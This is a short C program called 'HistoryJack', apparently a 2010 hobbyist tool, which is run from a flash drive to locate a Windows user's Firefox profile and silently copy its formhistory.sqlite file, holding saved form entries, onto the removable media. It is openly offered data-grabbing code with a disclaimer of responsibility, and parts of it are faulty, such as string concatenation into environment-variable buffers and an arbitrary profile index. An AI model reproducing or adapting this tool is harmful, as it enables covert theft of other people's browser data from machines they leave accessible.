/*
  HistoryJack
  1/23/2010
  logickills

http://logickills.org

  Exports formhistory.sqlite file from firefox browser to a flash drive or other
  removable media. This program is able to differentiate between versions of windows
  so it can find the correct path associated with the the browser.

  In order to use save this file to flashdrive. Once program is run from flashdrive
  it will grab the .sqlite file and place it on the flashdrive. In order to view
  sqlite files use http://sourceforge.net/projects/sqlitebrowser/.

  I am not responsible for anything that you do with this code. I made this in like
  30 minutes so don't complain.

  <3 LogicKills

  */

#include <stdio.h>
#include <windows.h>
#include <dirent.h>

char*  getPath();
char** findProfile(char* directoryLocation);
char*  combineStrings(char* profile, char* path);

int main()
{

    char* directoryLocation       = getPath();
    static char ** files          = findProfile(directoryLocation);
    char* removeableMedia         =  _getcwd( NULL, 0 );
    char* ToFileName              = strncat(removeableMedia,"\\history.sqlite",19);
    char* endPath                 = combineStrings(files[2],directoryLocation);

    CopyFile(endPath,ToFileName,TRUE);

    return 0;
}

char* getPath()
{

      char* appPath;
      char* usrPath;
      char* fullPath;
      char* drive     = getenv("SYSTEMDRIVE");
      char* user      = getenv("USERNAME");

      OSVERSIONINFO info;
      info.dwOSVersionInfoSize = sizeof(info);
      GetVersionEx(&info);

      if (info.dwMajorVersion >= 6)
      {
        appPath = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
        usrPath = "\\Users\\";
      }

      else
      {
         appPath = "\\Application Data\\Mozilla\\Firefox\\Profiles";
         usrPath = "\\Documents and Settings\\";
      }

      strncat(drive,usrPath,strlen(usrPath) + 1);
      strncat(drive,user,strlen(user) + 1);
      strncat(drive,appPath,strlen(appPath) + 1);
      fullPath = drive;

       return (fullPath);
}

char** findProfile(char* path)
{

    DIR *dir         = opendir (path);
    size_t filecount = 0;
    size_t i         = 0;
    struct dirent *dp;          

    char **files;

    if (dir == NULL) {

        return NULL;
    }
    while ((dp = readdir (dir)) != NULL) {
        filecount++;
    }

    files = (char **) malloc (filecount * sizeof (*files));
    if (files == NULL) {
        return NULL;
    }

    rewinddir (dir);
    while ((dp = readdir (dir)) != NULL) {
        files[i] = strdup (dp->d_name);
        if (files[i] == NULL) {

            while (i > 0) {
                free (files[--i]);
            }
            free (files);
            return NULL;
        }

        i++;
    }

    closedir (dir);
    return files;
}
char* combineStrings(char* profile, char* path)
{
      strncat(path,"\\",3);
      strncat(path,profile,strlen(profile) +1);
      strncat(path,"\\formhistory.sqlite",30);

      return path;
}